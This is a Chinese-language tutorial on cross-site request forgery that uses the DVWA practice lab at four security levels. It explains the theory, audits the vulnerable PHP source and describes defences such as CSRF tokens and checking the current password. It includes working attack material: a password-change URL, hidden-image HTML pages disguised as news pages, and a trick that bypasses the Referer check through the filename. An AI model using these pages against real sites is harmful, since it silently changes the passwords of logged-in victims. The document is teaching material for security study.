CSRF 跨站请求伪造:伪造请求攻击、绕过手段与底层防御
-
- 前言
- [1. CSRF 核心理论基础](#1. CSRF 核心理论基础)
-
- [1.1 漏洞本质与定义](#1.1 漏洞本质与定义)
- [1.2 漏洞成立的三大必要条件](#1.2 漏洞成立的三大必要条件)
- [1.3 完整攻击链路](#1.3 完整攻击链路)
- [1.4 CSRF 与 XSS 的核心区别](#1.4 CSRF 与 XSS 的核心区别)
- [1.5 常见攻击场景与危害](#1.5 常见攻击场景与危害)
- [1.6 CSRF 在漏洞榜单中的定位](#1.6 CSRF 在漏洞榜单中的定位)
- [2. DVWA CSRF(Low)](#2. DVWA CSRF(Low))
-
- [2.1 页面黑盒探测](#2.1 页面黑盒探测)
- [2.2 黑盒漏洞利用实操](#2.2 黑盒漏洞利用实操)
-
- [2.2.1 直接恶意URL](#2.2.1 直接恶意URL)
- [2.2.2 隐藏img无感知攻击页面(推荐)](#2.2.2 隐藏img无感知攻击页面(推荐))
- [2.3 源码审计](#2.3 源码审计)
- [3. DVWA CSRF(Medium)](#3. DVWA CSRF(Medium))
-
- [3.1 黑盒探测](#3.1 黑盒探测)
-
- [3.1.1 基础功能测试](#3.1.1 基础功能测试)
- [3.1.2 验证防护机制](#3.1.2 验证防护机制)
- [3.1.3 黑盒推导校验规则](#3.1.3 黑盒推导校验规则)
- [3.2 黑盒攻击实操](#3.2 黑盒攻击实操)
-
- [3.2.1 攻击原理](#3.2.1 攻击原理)
- [3.2.2 构造恶意页面](#3.2.2 构造恶意页面)
- [3.2.3 攻击复现步骤](#3.2.3 攻击复现步骤)
- [3.2.4 为什么能绕过](#3.2.4 为什么能绕过)
- [3.3 源码审计](#3.3 源码审计)
- [4. DVWA CSRF(High)](#4. DVWA CSRF(High))
-
- [4.1 黑盒探测](#4.1 黑盒探测)
-
- [4.1.1 正常页面抓包对比Low/Medium](#4.1.1 正常页面抓包对比Low/Medium)
- [4.1.2 复用Medium攻击测试(完全失效)](#4.1.2 复用Medium攻击测试(完全失效))
- [4.1.3 黑盒规则结论](#4.1.3 黑盒规则结论)
- [4.2 黑盒攻击可行性分析](#4.2 黑盒攻击可行性分析)
-
- [4.2.1 单纯CSRF无法攻破](#4.2.1 单纯CSRF无法攻破)
- [4.2.2 唯一可打通的组合攻击](#4.2.2 唯一可打通的组合攻击)
- [4.3 High级别源码审计](#4.3 High级别源码审计)
- [5. DVWA CSRF(Impossible)](#5. DVWA CSRF(Impossible))
-
- [5.1 源码审计](#5.1 源码审计)
- [5.2 三级对比总结(Low/Medium/High/Impossible)](#5.2 三级对比总结(Low/Medium/High/Impossible))
- [5.3 最终结论](#5.3 最终结论)
- 免责声明
前言
CSRF(跨站请求伪造)本质就是借用户的 Cookie,发伪造的请求。
用户登录了目标网站,浏览器存着会话 Cookie,这时点开恶意链接 / 页面,浏览器会自动带着 Cookie 发请求给目标站,服务器以为是用户本人操作,就执行了敏感操作 ------ 改密码、转账、删数据都有可能。
1. CSRF 核心理论基础
1.1 漏洞本质与定义
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种挟制用户在已登录状态下执行非预期操作的攻击方式。攻击者不需要窃取用户的Cookie,也不需要拿到用户的账号密码,只需要诱导已登录的用户访问一个恶意页面,就能借用户的身份向目标网站发起伪造请求。
核心特征:攻击者借刀杀人------用用户的浏览器,发用户权限内的请求。
1.2 漏洞成立的三大必要条件
CSRF 不是任何场景都能打,必须同时满足三个条件:
条件一:目标站点存在可预测的敏感操作请求
目标网站必须有一个有价值的敏感操作(改密码、转账、删数据等),且该请求的所有参数都是攻击者能预测/构造的。如果请求里带了一个攻击者不知道的随机值(比如Token),就无法构造有效请求。
条件二:浏览器自动携带Cookie机制(核心根源)
这是CSRF能够成立的最底层原因。浏览器的Cookie安全策略规定:只要请求的目标域名与Cookie绑定的域名一致,无论请求从哪个页面发起,浏览器都会自动带上该域名下的所有Cookie。
关键逻辑:浏览器只看"发给谁",不看"从哪发"。恶意页面虽然在evil.com上,但只要请求发往target.com,浏览器就会自动带上target.com的Cookie。
条件三:用户处于已登录状态且访问了恶意页面
用户必须先登录目标网站(会话Cookie有效),然后在同一会话期内访问了攻击者构造的恶意链接/页面。两个动作缺一不可。
1.3 完整攻击链路
base
用户浏览器 目标站点(target.com) 攻击者站点(evil.com)
| | |
|---- 1. 登录target.com ----->| |
|<---- 2. 返回Session Cookie --| |
| (浏览器保存Cookie) | |
| | |
|---- 3. 访问evil.com ------------------------------->| |
| | |
|<---- 4. 返回恶意页面 -------------------------------| |
| (页面里藏着指向target.com的伪造请求) |
| | |
|---- 5. 浏览器自动带Cookie,向target.com发伪造请求---->| |
| | |
| |---- 6. 服务器验证Cookie通过,执行操作
整个过程中,攻击者看不到Cookie、看不到响应、拿不到数据,但只要请求发出去了、服务器执行了,攻击就成功了。所以CSRF是"写操作"漏洞,主要用来执行动作,不是用来窃取数据的。
1.4 CSRF 与 XSS 的核心区别
很多初学者容易混淆,这里明确区分:
| 对比维度 | XSS(跨站脚本) | CSRF(跨站请求伪造) |
|---|---|---|
| 攻击载体 | 注入恶意JavaScript脚本 | 构造合法的HTTP请求 |
| 是否需要JS | 必须执行JS | 不需要,纯HTML标签即可 |
| 能否读取Cookie | 能(HttpOnly除外) | 不能,只能借用 |
| 能否读取响应 | 能 | 不能,是"盲打" |
| 攻击目标 | 窃取数据、劫持会话 | 执行敏感操作(改密、转账) |
| 危害方向 | 读+写 | 仅写 |
| 防御思路 | 过滤输入、编码输出 | 校验来源、增加不可预测参数 |
简单记:XSS是把脚本注入目标站,CSRF是借用户的手给目标站发请求。
1.5 常见攻击场景与危害
- 账号类:修改用户密码、修改绑定邮箱/手机号、注销账号
- 资金类:银行转账、充值消费、下单支付
- 权限类:管理员添加用户、修改权限配置、删除数据
- 社交类:自动发微博/朋友圈、自动关注、自动点赞
- 企业级:内网系统未授权操作、安全策略关闭
1.6 CSRF 在漏洞榜单中的定位
CSRF 是 Web 安全经典高危漏洞,早年单独位列 OWASP Top10 第5位(2013版);新版榜单虽归类至「失效访问控制」大类,但仍是渗透测试、等保核查必测项,属于Web入门四大核心漏洞(SQL注入、XSS、CSRF、弱会话)之一,在大量老旧系统、无防护后台中极易出现。
2. DVWA CSRF(Low)
2.1 页面黑盒探测
页面功能仅为账号密码重置,包含两个输入框:New password、Confirm new password,点击Change提交完成改密;附带Test Credentials查看默认账号密码。

黑盒基础操作
- 输入两组相同密码(如
123456)提交,页面返回Password Changed.,接口功能正常。 - 开启Burp Suite代理抓包,重复提交改密操作,捕获完整HTTP请求:

黑盒关键发现
- 敏感改密操作为GET请求,全部参数明文拼接在URL;
- 请求仅依靠
PHPSESSID会话Cookie校验登录状态,无额外校验字段、无随机Token; - 无来源校验、无需验证原密码,只要携带有效Session即可执行改密。
2.2 黑盒漏洞利用实操
2.2.1 直接恶意URL
基于抓包参数拼接攻击链接,受害者登录DVWA后直接访问下方地址,密码自动被修改为hack123:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hack123&password_conf=hack123&Change=Change
缺陷:URL暴露password参数,容易被受害者察觉异常。
2.2.2 隐藏img无感知攻击页面(推荐)
新建html恶意页面,利用img标签自动发起跨域GET请求,图片隐藏,受害者打开页面无任何提示:
html
<html>
<body>
<!-- 隐藏加载,自动触发CSRF改密请求 -->
<img src="http://127.0.0.1:9001/dvwa/vulnerabilities/csrf/?password_new=hack123&password_conf=hack123&Change=Change" style="display:none">
<h2>正常资讯页面</h2>
</body>
</html>
代码逐行解释:
| 代码部分 | 作用说明 |
|---|---|
<img src="改密接口地址"> |
img标签的特性:浏览器加载页面时自动发起GET请求拉取src地址,不需要用户点击。浏览器只负责发请求,不校验返回内容是不是真图片。 |
style="display:none" |
把img元素彻底隐藏,页面上看不到任何图片痕迹,受害者完全察觉不到这个元素存在。 |
<h2>正常资讯页面</h2> |
伪装内容,让页面看起来是个正常网页,降低受害者警惕性。 |
攻击执行流程:
- 受害者打开你发的这个HTML页面;
- 浏览器解析HTML,读到img标签,自动向src里的DVWA改密接口发送GET请求;
- 浏览器自动附带受害者本地保存的DVWA会话Cookie(浏览器规则:发给目标域名的请求,自动带该域名的Cookie);
- DVWA服务器收到请求,校验Cookie有效,认为是用户本人操作,执行密码修改;
- 全程页面只显示"正常资讯页面"文字,img完全隐藏,受害者无任何感知 ,密码已经被改成
hack123。
核心原理一句话: 借浏览器自动加载资源的特性,用img标签偷偷发请求,借受害者的Cookie完成改密,全程零点击、无感知。
2.3 源码审计
php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
逐段审计解读
- 接收GET请求参数,无任何来源校验
php
if( isset( $_GET[ 'Change' ] ) ) {
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
}
代码直接从URL中读取改密参数,没有校验请求来源、没有随机CSRF令牌。跨域页面、恶意链接发来的请求,服务端都会正常接收处理,这是CSRF漏洞的根本成因。
- 仅校验两次新密码一致,不验证原密码
php
if( $pass_new == $pass_conf )
只判断两次输入的新密码是否相同,完全不需要输入当前登录密码做二次验证。只要能发送合法请求,就能直接篡改账号密码。
-
mysqli_real_escape_string仅防御SQL注入,和CSRF防护无关这行代码只是对密码做转义,防止SQL注入攻击,完全没有解决跨站请求伪造问题,说明开发者只考虑了注入风险,忽略了CSRF风险。后续还会对密码做MD5加密存入数据库。
-
用户身份完全依赖Session会话
php
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
dvwaCurrentUser() 函数从浏览器Cookie里的PHPSESSID读取当前登录用户。服务器逻辑:只要携带有效会话Cookie,就默认是用户本人操作,不会区分请求是用户主动提交还是恶意页面诱导发送。
Low等级核心漏洞总结
- 无请求来源校验、无CSRF Token,原生存在跨站请求伪造漏洞;
- 敏感改密操作使用GET传参,参数全部暴露在URL,极易构造恶意链接;
- 改密无需验证旧密码,攻击门槛极低;
- 身份鉴权单一依靠Cookie,信任浏览器自动携带的所有同域请求。
3. DVWA CSRF(Medium)
3.1 黑盒探测
3.1.1 基础功能测试
安全等级切换至 Medium,正常在页面输入新密码提交,功能正常,返回 Password Changed.。
Burp 抓包看请求:

初步观察: 相比 Low 级别,请求头多了一个 Referer 字段,值是当前页面地址。
3.1.2 验证防护机制
直接复用 Low 级别的恶意页面测试,发现密码改不了,页面返回:
That request didn't look correct.
说明 Medium 级别加了防护,而且跟请求来源有关。
3.1.3 黑盒推导校验规则
用 Burp 改 Referer 字段,逐个测试:
| 测试场景 | Referer 值 | 结果 |
|---|---|---|
| 正常页面提交 | http://127.0.0.1/dvwa/vulnerabilities/csrf/ |
✅ 改密成功 |
| 清空 Referer | (删除该字段) | ❌ 失败 |
| 纯外网域名 | http://evil.com/test.html |
❌ 失败 |
| 路径包含目标IP | http://evil.com/127.0.0.1/page.html |
✅ 改密成功 |
| 子域名包含目标IP | http://127.0.0.1.evil.com/csrf.html |
✅ 改密成功 |
黑盒结论: 服务端不是严格校验 Referer 等于本站域名,而是判断 Referer 字符串里是否包含站点 IP/域名,属于模糊匹配,存在绕过空间。
3.2 黑盒攻击实操
3.2.1 攻击原理
既然校验规则是「Referer 里包含 127.0.0.1 就放行」,那我们只要让恶意页面的 URL 里带上 127.0.0.1 这个字符串,浏览器访问时自动生成的 Referer 就会包含它,校验直接绕过。
3.2.2 构造恶意页面
恶意 HTML 文件命名为 127.0.0.1.html,内容:
html
<!DOCTYPE html>
<html>
<head>
<title>每日资讯</title>
</head>
<body>
<h2>今日热点新闻</h2>
<p>这是一个正常的资讯页面...</p>
<!-- 隐藏的CSRF攻击代码 -->
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hack666&password_conf=hack666&Change=Change" style="display:none">
</body>
</html>
3.2.3 攻击复现步骤
- 浏览器登录 DVWA,安全等级设为 Medium,保持会话不关闭;
- 同浏览器访问恶意页面地址:
http://evil.com/127.0.0.1.html(本地测试直接打开html文件也可以); - 页面正常显示"今日热点新闻",img 完全隐藏,受害者无任何感知;
- 回到 DVWA,原密码登录失败,用新密码
hack666登录成功,攻击完成。
3.2.4 为什么能绕过
受害者访问 http://evil.com/127.0.0.1.html 时,浏览器自动给请求加上 Referer:
Referer: http://evil.com/127.0.0.1.html
服务端用 stripos 查这个字符串里有没有 127.0.0.1 ------ 找到了,就认为是合法请求,直接放行。
3.3 源码审计
php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from the correct source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
逐行审计
1. 新增的 Referer 校验(核心防护代码)
php
if( stripos( $_SERVER[ 'HTTP_REFERER' ], $_SERVER[ 'SERVER_NAME' ] ) !== false ) {
拆解:
$_SERVER['HTTP_REFERER']:读取请求头中的 Referer 来源地址$_SERVER['SERVER_NAME']:读取当前服务器域名/IP(这里是127.0.0.1)stripos(..., ...) !== false:不区分大小写查找,只要找到子串就返回 true
漏洞点: 用「包含」代替「等于」,只判断 Referer 里有没有目标域名,不判断 Referer 是不是真的来自目标站。攻击者只要在自己的页面 URL 里塞一个目标域名字符串,就能绕过。
2. 校验失败分支
php
else {
echo "<pre>That request didn't look correct.</pre>";
}
Referer 不包含目标域名时,直接拒绝并返回错误提示。
3. 其余逻辑和 Low 完全一致,风险全部保留
- 依旧是 GET 请求传参,敏感参数全在 URL 里
- 只校验两次新密码一致,不验证当前密码
- 用户身份完全靠 Cookie 里的 Session 判断
mysqli_real_escape_string只防 SQL 注入,对 CSRF 没用
Medium 级别总结
- 相比 Low 增加了 Referer 来源校验,能挡住最基础的 CSRF 攻击;
- 校验逻辑设计有缺陷,模糊匹配可以轻松绕过;
- 没有引入行业标准的 CSRF Token 机制,防护强度很低;
- Referer 本身就不可靠------浏览器插件、隐私模式、某些跳转场景都可能丢失或篡改 Referer,不能单独作为 CSRF 防御手段。
4. DVWA CSRF(High)
4.1 黑盒探测
4.1.1 正常页面抓包对比Low/Medium
在DVWA High等级页面正常提交改密,抓完整请求:
http
GET /vulnerabilities/csrf/?password_new=test666&password_conf=test666&Change=Change&user_token=999xxxxxxxxxxxxxx HTTP/1.1
Host: 127.0.0.1:9001
Referer: http://127.0.0.1:9001/vulnerabilities/csrf/
Cookie: PHPSESSID=xxxx; security=high
核心新增参数:user_token 随机令牌,每次刷新页面token都会变化。
4.1.2 复用Medium攻击测试(完全失效)
- 之前Medium的img恶意页面直接访问;
- 请求缺少
user_token参数; - 后端直接拦截,拒绝改密。
4.1.3 黑盒规则结论
- 废弃不可靠的Referer校验,改用一次性随机Token防御;
- 每次加载CSRF页面,服务端会生成独属于当前会话的
user_token; - 改密请求必须携带当前页面的有效token,缺失/过期/伪造全部拦截;
- 无法单纯构造URL、img页面完成CSRF,攻击者拿不到受害者页面内的实时token。
4.2 黑盒攻击可行性分析
4.2.1 单纯CSRF无法攻破
恶意外部页面(img/iframe)只能自动发送请求,无法读取DVWA页面里的user_token值 (浏览器同源策略隔离跨域页面DOM读取)。
没有有效token,后端永远拒绝执行改密,标准CSRF漏洞被彻底修复。
4.2.2 唯一可打通的组合攻击
如果站点同时存在存储型XSS漏洞,可以在DVWA同域页面植入JS脚本:
- JS读取当前页面隐藏表单里的实时
user_token; - 自动拼接带有效token的改密请求;
- 同域脚本不受同源限制,拿到token完成改密;
这属于XSS+CSRF组合攻击,单独CSRF无法生效。
4.3 High级别源码审计
php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// 核心防御:校验session内的user_token和提交的token一致
checkToken( $_REQUEST[ 'user_token' ] );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// Sanitise input
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '$current_user';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"]) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
逐行审计解读
checkToken( $_REQUEST[ 'user_token' ] );
防御核心函数:- 服务端Session中存储本次会话的随机
user_token; - 接收改密请求时,强制比对URL/表单提交的token和Session内token;
- 不匹配、无token、token过期直接终止代码,拒绝执行数据库更新。
- 服务端Session中存储本次会话的随机
- 移除了Medium的Referer校验逻辑,不再依赖不可靠请求头;
- 其余密码处理、数据库更新逻辑和Low/Medium保持一致。
High等级总结
- 使用行业标准CSRF Token防御,从根源修复跨站请求伪造漏洞;
- Token绑定用户Session,一次性随机生成,跨域恶意页面无法获取;
- 单纯CSRF攻击完全失效,只有搭配同域XSS漏洞才能绕过防御;
- 对比Low(无防护)、Medium(浅层Referer弱防护),High是安全规范的防御方案。
5. DVWA CSRF(Impossible)
5.1 源码审计
php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$current_user = dvwaCurrentUser();
$data->bindParam( ':user', $current_user, PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$current_user = dvwaCurrentUser();
$data->bindParam( ':user', $current_user, PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
核心防护两点
-
Anti-CSRF Token校验
checkToken同时接收前端提交token、服务端Session存储token、页面路径做三重校验,杜绝伪造token;每次页面刷新generateSessionToken()生成全新随机串。 -
旧密码强校验(Impossible独有的关键防御)
修改密码操作强制验证用户原有登录密码:
- CSRF攻击只能被动自动发包,无法获取受害者明文旧密码;
- XSS就算拿到页面token,也无法解密用户数据库里MD5哈希后的旧密码,缺少
password_current参数,永远无法进入更新分支。
其余优化点
- 使用PDO预处理SQL,完全杜绝SQL注入;
- 密码统一MD5哈希存储,页面不会泄露明文密码;
- 不再依赖不可靠的Referer头,防护逻辑全部放在后端会话与业务校验。
5.2 三级对比总结(Low/Medium/High/Impossible)
| 等级 | 防护手段 | 能否纯CSRF打穿 |
|---|---|---|
| Low | 无任何校验 | 直接img页面攻击 |
| Medium | stripos模糊匹配Referer | 构造带域名的页面绕过 |
| High | Session绑定user_token | 仅搭配XSS拿token可尝试 |
| Impossible | Token校验 + 修改密码需验证原密码 | 完全无利用路径 |
5.3 最终结论
Impossible级别从业务层面彻底消除CSRF风险:
- 传统跨域诱导攻击完全失效;
- 同域XSS漏洞也无法绕过,因为无法获取用户明文旧密码;
- 是生产环境修改密码类敏感接口的标准安全设计模板。
免责声明
- 本文所有内容仅用于网络安全技术研究与教学演示,所有测试均在本地授权搭建的 DVWA 靶场环境中进行,旨在帮助读者理解漏洞原理与防御机制。
- 请勿将本文涉及的技术与方法用于任何未经授权的真实系统测试。任何利用本文内容进行的非法攻击行为,均与作者无关,由使用者自行承担相应法律责任。
- 网络安全学习请严格遵守《中华人民共和国网络安全法》及相关法律法规,仅在获得明确书面授权的前提下开展安全测试。